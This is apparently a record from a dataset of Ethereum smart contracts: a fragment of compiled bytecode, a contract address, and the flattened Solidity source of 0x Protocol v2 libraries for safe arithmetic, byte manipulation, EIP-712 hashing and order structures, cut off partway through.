ffffffffffffffffffffffffffffffffff161415156107a757600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900467ffffffffffffffff1681565b60015481565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156108df573d6000803e3d6000fd5b507f602fb1294c3255ce6fc5c3da37023fe63d154e55ec9abe00845832703831cc018282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600060099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600060099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109d757600080fd5b80600060086101000a81548160ff02191690831515021790555050565b600060099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5057600080fd5b600081118015610a6157506103e881105b1515610a6c57600080fd5b8060018190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad257600080fd5b600060089054906101000a900460ff16151515610aee57600080fd5b60068190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60006005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60035481565b60003360014303404144604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140184600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001945050505050604051809103902060019004905090565b803073ffffffffffffffffffffffffffffffffffffffff1631111515610c7a57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167f1cb1f5152fd7079385e1c4d8c522154e7abaf7f2c5ac462c15981aee545627be82600354604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d18573d6000803e3d6000fd5b505050565b815481835581811115610d4457818360005260206000209182019101610d439190610d49565b5b505050565b610d6b91905b80821115610d67576000816000905550600101610d4f565b5090565b905600a165627a7a7230582025322d539fa5c77cad8092d256e008db251561bf60e6219cfb795276726a175a0029
[ 10 ]
0xf376016f762a0bd77251545a88956d1f38ee910f
pragma solidity 0.4.24; pragma experimental ABIEncoderV2; contract IERC20Token { // solhint-disable no-simple-event-func-name event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @dev send `value` token to `to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transfer(address _to, uint256 _value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address _spender, uint256 _value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address _owner) external view returns (uint256); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256); } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require( c / a == b, "UINT256_OVERFLOW" ); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { require( b <= a, "UINT256_UNDERFLOW" ); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require( c >= a, "UINT256_OVERFLOW" ); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint256) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint256) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibMath is SafeMath { /// @dev Calculates partial value given a numerator and denominator rounded down. /// Reverts if rounding error is >= 0.1% /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded down. function safeGetPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); require( !isRoundingErrorFloor( numerator, denominator, target ), "ROUNDING_ERROR" ); partialAmount = safeDiv( safeMul(numerator, target), denominator ); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// Reverts if rounding error is >= 0.1% /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded up. function safeGetPartialAmountCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); require( !isRoundingErrorCeil( numerator, denominator, target ), "ROUNDING_ERROR" ); // safeDiv computes `floor(a / b)`. We use the identity (a, b integer): // ceil(a / b) = floor((a + b - 1) / b) // To implement `ceil(a / b)` using safeDiv. partialAmount = safeDiv( safeAdd( safeMul(numerator, target), safeSub(denominator, 1) ), denominator ); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded down. function getPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); partialAmount = safeDiv( safeMul(numerator, target), denominator ); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded up. function getPartialAmountCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); // safeDiv computes `floor(a / b)`. We use the identity (a, b integer): // ceil(a / b) = floor((a + b - 1) / b) // To implement `ceil(a / b)` using safeDiv. partialAmount = safeDiv( safeAdd( safeMul(numerator, target), safeSub(denominator, 1) ), denominator ); return partialAmount; } /// @dev Checks if rounding error >= 0.1% when rounding down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingErrorFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bool isError) { require( denominator > 0, "DIVISION_BY_ZERO" ); // The absolute rounding error is the difference between the rounded // value and the ideal value. The relative rounding error is the // absolute rounding error divided by the absolute value of the // ideal value. This is undefined when the ideal value is zero. // // The ideal value is `numerator * target / denominator`. // Let's call `numerator * target % denominator` the remainder. // The absolute error is `remainder / denominator`. // // When the ideal value is zero, we require the absolute error to // be zero. Fortunately, this is always the case. The ideal value is // zero iff `numerator == 0` and/or `target == 0`. In this case the // remainder and absolute error are also zero. if (target == 0 || numerator == 0) { return false; } // Otherwise, we want the relative rounding error to be strictly // less than 0.1%. // The relative error is `remainder / (numerator * target)`. // We want the relative error less than 1 / 1000: // remainder / (numerator * denominator) < 1 / 1000 // or equivalently: // 1000 * remainder < numerator * target // so we have a rounding error iff: // 1000 * remainder >= numerator * target uint256 remainder = mulmod( target, numerator, denominator ); isError = safeMul(1000, remainder) >= safeMul(numerator, target); return isError; } /// @dev Checks if rounding error >= 0.1% when rounding up. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingErrorCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bool isError) { require( denominator > 0, "DIVISION_BY_ZERO" ); // See the comments in `isRoundingError`. if (target == 0 || numerator == 0) { // When either is zero, the ideal value and rounded value are zero // and there is no rounding error. (Although the relative error // is undefined.) return false; } // Compute remainder as before uint256 remainder = mulmod( target, numerator, denominator ); remainder = safeSub(denominator, remainder) % denominator; isError = safeMul(1000, remainder) >= safeMul(numerator, target); return isError; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} lt(source, sEnd) {} { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} slt(dest, dEnd) {} { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require( from <= to, "FROM_LESS_THAN_TO_REQUIRED" ); require( to < b.length, "TO_LESS_THAN_LENGTH_REQUIRED" ); // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy( result.contentAddress(), b.contentAddress() + from, result.length ); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require( from <= to, "FROM_LESS_THAN_TO_REQUIRED" ); require( to < b.length, "TO_LESS_THAN_LENGTH_REQUIRED" ); // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { require( b.length > 0, "GREATER_THAN_ZERO_LENGTH_REQUIRED" ); // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Pops the last 20 bytes off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The 20 byte address that was popped off. function popLast20Bytes(bytes memory b) internal pure returns (address result) { require( b.length >= 20, "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Store last 20 bytes. result = readAddress(b, b.length - 20); assembly { // Subtract 20 from byte array length. let newLen := sub(mload(b), 20) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return True if arrays are the same. False otherwise. function equals( bytes memory lhs, bytes memory rhs ) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return address from byte array. function readAddress( bytes memory b, uint256 index ) internal pure returns (address result) { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return bytes32 value from byte array. function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { require( b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED" ); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { require( b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED" ); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return uint256 value from byte array. function readUint256( bytes memory b, uint256 index ) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return bytes4 value from byte array. function readBytes4( bytes memory b, uint256 index ) internal pure returns (bytes4 result) { require( b.length >= index + 4, "GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED" ); // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Reads nested bytes from a specific position. /// @dev NOTE: the returned value overlaps with the input value. /// Both should be treated as immutable. /// @param b Byte array containing nested bytes. /// @param index Index of nested bytes. /// @return result Nested bytes. function readBytesWithLength( bytes memory b, uint256 index ) internal pure returns (bytes memory result) { // Read length of nested bytes uint256 nestedBytesLength = readUint256(b, index); index += 32; // Assert length of <b> is valid, given // length of nested bytes require( b.length >= index + nestedBytesLength, "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED" ); // Return a pointer to the byte array as it exists inside `b` assembly { result := add(b, index) } return result; } /// @dev Inserts bytes at a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes to insert. function writeBytesWithLength( bytes memory b, uint256 index, bytes memory input ) internal pure { // Assert length of <b> is valid, given // length of input require( b.length >= index + 32 + input.length, // 32 bytes to store length "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED" ); // Copy <input> into <b> memCopy( b.contentAddress() + index, input.rawAddress(), // includes length of <input> input.length + 32 // +32 bytes to store <input> length ); } /// @dev Performs a deep copy of a byte array onto another byte array of greater than or equal length. /// @param dest Byte array that will be overwritten with source bytes. /// @param source Byte array to copy onto dest bytes. function deepCopyBytes( bytes memory dest, bytes memory source ) internal pure { uint256 sourceLen = source.length; // Dest length must be >= source length, or some bytes would not be copied. require( dest.length >= sourceLen, "GREATER_OR_EQUAL_TO_SOURCE_BYTES_LENGTH_REQUIRED" ); memCopy( dest.contentAddress(), source.contentAddress(), sourceLen ); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibEIP712 { // EIP191 header for EIP712 prefix string constant internal EIP191_HEADER = "\x19\x01"; // EIP712 Domain Name value string constant internal EIP712_DOMAIN_NAME = "0x Protocol"; // EIP712 Domain Version value string constant internal EIP712_DOMAIN_VERSION = "2"; // Hash of the EIP712 Domain Separator Schema bytes32 constant internal EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256(abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "address verifyingContract", ")" )); // Hash of the EIP712 Domain Separator data // solhint-disable-next-line var-name-mixedcase bytes32 public EIP712_DOMAIN_HASH; constructor () public { EIP712_DOMAIN_HASH = keccak256(abi.encodePacked( EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, keccak256(bytes(EIP712_DOMAIN_NAME)), keccak256(bytes(EIP712_DOMAIN_VERSION)), bytes32(address(this)) )); } /// @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain. /// @param hashStruct The EIP712 hash struct. /// @return EIP712 hash applied to this EIP712 Domain. function hashEIP712Message(bytes32 hashStruct) internal view returns (bytes32 result) { bytes32 eip712DomainHash = EIP712_DOMAIN_HASH; // Assembly for more efficient computing: // keccak256(abi.encodePacked( // EIP191_HEADER, // EIP712_DOMAIN_HASH, // hashStruct // )); assembly { // Load free memory pointer let memPtr := mload(64) mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash mstore(add(memPtr, 34), hashStruct) // Hash of struct // Compute hash result := keccak256(memPtr, 66) } return result; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibOrder is LibEIP712 { // Hash for the EIP712 Order Schema bytes32 constant internal EIP712_ORDER_SCHEMA_HASH = keccak256(abi.encodePacked( "Order(", "address makerAddress,", "address takerAddress,", "address feeRecipientAddress,", "address senderAddress,", "uint256 makerAssetAmount,", "uint256 takerAssetAmount,", "uint256 makerFee,", "uint256 takerFee,", "uint256 expirationTimeSeconds,", "uint256 salt,", "bytes makerAssetData,", "bytes takerAssetData", ")" )); // A valid order remains fillable until it is expired, fully filled, or cancelled. // An order's state is unaffected by external factors, like account balances. enum OrderStatus { INVALID, // Default value INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount FILLABLE, // Order is fillable EXPIRED, // Order has already expired FULLY_FILLED, // Order is fully filled CANCELLED // Order has been cancelled } // solhint-disable max-line-length struct Order { address makerAddress; // Address that created the order. address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order. address feeRecipientAddress; // Address that will recieve fees when order is filled. address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods. uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0. uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0. uint256 makerFee; // Amount of ZRX paid to feeRecipient by maker when order is filled. If set to 0, no transfer of ZRX from maker to feeRecipient will be attempted. uint256 takerFee; // Amount of ZRX paid to feeRecipient by taker when order is filled. If set to 0, no transfer of ZRX from taker to feeRecipient will be attempted. uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires. uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash. bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The last byte references the id of this proxy. bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The last byte references the id of this proxy. } // solhint-enable max-line-length struct OrderInfo { uint8 orderStatus; // Status that describes order's validity and fillability. bytes32 orderHash; // EIP712 hash of the order (see LibOrder.getOrderHash). uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled. } /// @dev Calculates Keccak-256 hash of the order. /// @param order The order structure. /// @return Keccak-256 EIP712 hash of the order. function getOrderHash(Order memory order) internal view returns (bytes32 orderHash) { orderHash = hashEIP712Message(hashOrder(order)); return orderHash; } /// @dev Calculates EIP712 hash of the order. /// @param order The order structure. /// @return EIP712 hash of the order. function hashOrder(Order memory order) internal pure returns (bytes32 result) { bytes32 schemaHash = EIP712_ORDER_SCHEMA_HASH; bytes32 makerAssetDataHash = keccak256(order.makerAssetData); bytes32 takerAssetDataHash = keccak256(order.takerAssetData); // Assembly for more efficiently computing: // keccak256(abi.encodePacked( // EIP712_ORDER_SCHEMA_HASH, // bytes32(order.makerAddress), // bytes32(order.takerAddress), // bytes32(order.feeRecipientAddress), // bytes32(order.senderAddress), // order.makerAssetAmount, // order.takerAssetAmount, // order.makerFee, // order.takerFee, // order.expirationTimeSeconds, // order.salt, // keccak256(order.makerAssetData), // keccak256(order.takerAssetData) // )); assembly { // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(order, 32) let pos2 := add(order, 320) let pos3 := add(order, 352) // Backup let temp1 := mload(pos1) let temp2 := mload(pos2) let temp3 := mload(pos3) // Hash in place mstore(pos1, schemaHash) mstore(pos2, makerAssetDataHash) mstore(pos3, takerAssetDataHash) result := keccak256(pos1, 416) // Restore mstore(pos1, temp1) mstore(pos2, temp2) mstore(pos3, temp3) } return result; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibFillResults is SafeMath { struct FillResults { uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled. uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled. uint256 makerFeePaid; // Total amount of ZRX paid by maker(s) to feeRecipient(s). uint256 takerFeePaid; // Total amount of ZRX paid by taker to feeRecipients(s). } struct MatchedFillResults { FillResults left; // Amounts filled and fees paid of left order. FillResults right; // Amounts filled and fees paid of right order. uint256 leftMakerAssetSpreadAmount; // Spread between price of left and right order, denominated in the left order's makerAsset, paid to taker. } /// @dev Adds properties of both FillResults instances. /// Modifies the first FillResults instance specified. /// @param totalFillResults Fill results instance that will be added onto. /// @param singleFillResults Fill results instance that will be added to totalFillResults. function addFillResults(FillResults memory totalFillResults, FillResults memory singleFillResults) internal pure { totalFillResults.makerAssetFilledAmount = safeAdd(totalFillResults.makerAssetFilledAmount, singleFillResults.makerAssetFilledAmount); totalFillResults.takerAssetFilledAmount = safeAdd(totalFillResults.takerAssetFilledAmount, singleFillResults.takerAssetFilledAmount); totalFillResults.makerFeePaid = safeAdd(totalFillResults.makerFeePaid, singleFillResults.makerFeePaid); totalFillResults.takerFeePaid = safeAdd(totalFillResults.takerFeePaid, singleFillResults.takerFeePaid); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IExchangeCore { /// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch /// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress). /// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled. function cancelOrdersUpTo(uint256 targetOrderEpoch) external; /// @dev Fills the input order. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (LibFillResults.FillResults memory fillResults); /// @dev After calling, the order can not be filled anymore. /// @param order Order struct containing order specifications. function cancelOrder(LibOrder.Order memory order) public; /// @dev Gets information about an order: status, hash, and amount filled. /// @param order Order to gather information on. /// @return OrderInfo Information about the order and its state. /// See LibOrder.OrderInfo for a complete description. function getOrderInfo(LibOrder.Order memory order) public view returns (LibOrder.OrderInfo memory orderInfo); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IMatchOrders { /// @dev Match two complementary orders that have a profitable spread. /// Each order is filled at their respective price point. However, the calculations are /// carried out as though the orders are both being filled at the right order's price point. /// The profit made by the left order goes to the taker (who matched the two orders). /// @param leftOrder First order to match. /// @param rightOrder Second order to match. /// @param leftSignature Proof that order was created by the left maker. /// @param rightSignature Proof that order was created by the right maker. /// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders. function matchOrders( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, bytes memory leftSignature, bytes memory rightSignature ) public returns (LibFillResults.MatchedFillResults memory matchedFillResults); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache 